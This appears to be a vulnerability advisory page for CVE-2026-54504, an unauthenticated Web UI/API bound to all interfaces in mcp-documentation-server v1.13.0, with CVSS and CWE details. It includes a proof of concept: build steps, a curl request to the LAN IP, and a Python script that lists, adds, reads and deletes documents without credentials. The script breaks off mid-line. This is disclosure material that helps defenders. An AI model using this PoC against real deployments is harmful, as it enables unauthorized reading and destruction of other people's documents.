🛡️ CVE-2026-54504 — mcp-documentation-server
Description
@andrea9293/mcp-documentation-server: Web UI API binds to all interfaces without authentication by default
Summary
@andrea9293/mcp-documentation-server v1.13.0 documents that a Web UI starts automatically on port 3080. However, the Web UI/API appears to bind to all network interfaces by default (*:3080 / 0.0.0.0:3080) instead of localhost-only, and its document-management API endpoints do not require authentication.
As a result, any network-reachable client on the same LAN, VM network, or container bridge can access the document-admin API without credentials. In my reproduction, I was able to enumerate documents, add a document, read its full content, search across the corpus, and delete the document through the host's LAN IP.
The issue is not that a Web UI exists. The issue is that a local document-management Web UI/API is exposed on all interfaces by default without authentication.
Details
The README documents that the Web UI starts automatically and tells users to open:
```text
http://localhost:3080
```
It also documents START_WEB_UI=true and WEB_PORT=3080 as the defaults.
The vulnerable behavior appears to come from starting the web server without binding it to localhost explicitly.
In src/server.ts, the Web UI is started unless START_WEB_UI=false:
```ts
if (process.env.START_WEB_UI !== 'false') {
initializeDocumentManager().then(manager => {
return startWebServer(undefined, manager);
}).then(() => {
console.error('[Server] Web UI started (port=' + (process.env.WEB_PORT || '3080') + ')');
})...
}
```
In src/web-server.ts, the Express app appears to listen with only the port:
```ts
const server = app.listen(PORT, () => {
console.log(\n 🌐 MCP Documentation Server - Web UI);
console.log( ────────────────────────────────────);
console.log( Local: http://localhost:${PORT});
console.log( Network: http://0.0.0.0:${PORT}\n);
});
```
With Express/Node, app.listen(PORT) without a host argument binds to all interfaces. In my reproduction, this resulted in:
```text
LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21))
```
The exposed API includes document-admin operations such as:
```text
GET /api/documents
GET /api/documents/:id
POST /api/documents
POST /api/search-all
DELETE /api/documents/:id
GET /api/config
```
I did not send any Authorization header in the PoC requests, and all tested operations succeeded.
PoC
Tested on v1.13.0.
1. Build from source
```bash
cd ~/Desktop
mkdir -p docsrv_repro_from_scratch
cd docsrv_repro_from_scratch
git clone https://github.com/andrea9293/mcp-documentation-server.git
cd mcp-documentation-server
git rev-parse HEAD
npm install --no-audit --no-fund
npm run build
ls -l dist/server.js
node -p "require('./package.json').version"
```
Expected version:
```text
1.13.0
```
2. Start the server with default Web UI behavior
Do not set START_WEB_UI=false.
```bash
rm -rf /tmp/docsrv_base
mkdir -p /tmp/docsrv_base
MCP_BASE_DIR=/tmp/docsrv_base \
WEB_PORT=3080 \
node dist/server.js \
</dev/null \
>/tmp/docsrv_stdout.log \
2>/tmp/docsrv_stderr.log &
DOCSRV_PID=$!
sleep 5
echo "DOCSRV_PID=$DOCSRV_PID"
ps -p "$DOCSRV_PID" -o pid,stat,cmd
```
3. Confirm that the Web UI/API binds to all interfaces
```bash
ss -ltnp | grep ':3080' || true
```
Observed:
```text
LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21))
```
This indicates the service is not bound only to 127.0.0.1.
4. Confirm that the API is reachable through the LAN IP
```bash
LAN_IP=$(hostname -I | awk '{print $1}')
echo "LAN_IP=$LAN_IP"
curl -sS --max-time 5 "http://$LAN_IP:3080/api/config"
echo
```
Observed:
```text
LAN_IP=10.0.250.230
{"gemini_available":false,"embedding_model":"Xenova/all-MiniLM-L6-v2"}
```
No authentication header was sent.
5. Full unauthenticated document-admin PoC
```bash
cat > /tmp/docsrv_unauth_poc.py <<'PY'
#!/usr/bin/env python3
import json
import sys
import urllib.request
import urllib.error
HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3080
BASE = f"http://{HOST}:{PORT}"
def req(method, path, body=None):
data = json.dumps(body).encode() if body is not None else None
headers = {"Content-Type": "application/json"} if body is not None else {}
r = urllib.request.Request(f"{BASE}{path}", data=data, method=method, headers=headers)
with urllib.request.urlopen(r, timeout=10) as resp:
raw = resp.read().decode()
try:
return resp.status, json.loads(raw or "null")
except Exception:
return resp.status, raw
def main():
print(f"[poc] target = {BASE}")
print("[poc] no Authorization header is sent")
status, config = req("GET", "/api/config")
print(f"[0] config: HTTP {status}, {config}")
status, docs = req("GET", "/api/documents")
print(f"[1] list documents: HTTP {status}
How this vulnerability can be exploited
This issue can be reached from an adjacent network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.
Weakness class
CVE-2026-54504 is classified as CWE-306: Missing Authentication for Critical Function. A sensitive function can be reached without authenticating at all.
Affected software
CVE-2026-54504 is recorded against 1 package.
- @andrea9293/mcp-documentation-server
Timeline and source
Published on 15 July 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.
References
github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)
Details
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| @andrea9293/mcp-documentation-server | — | — |
References
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
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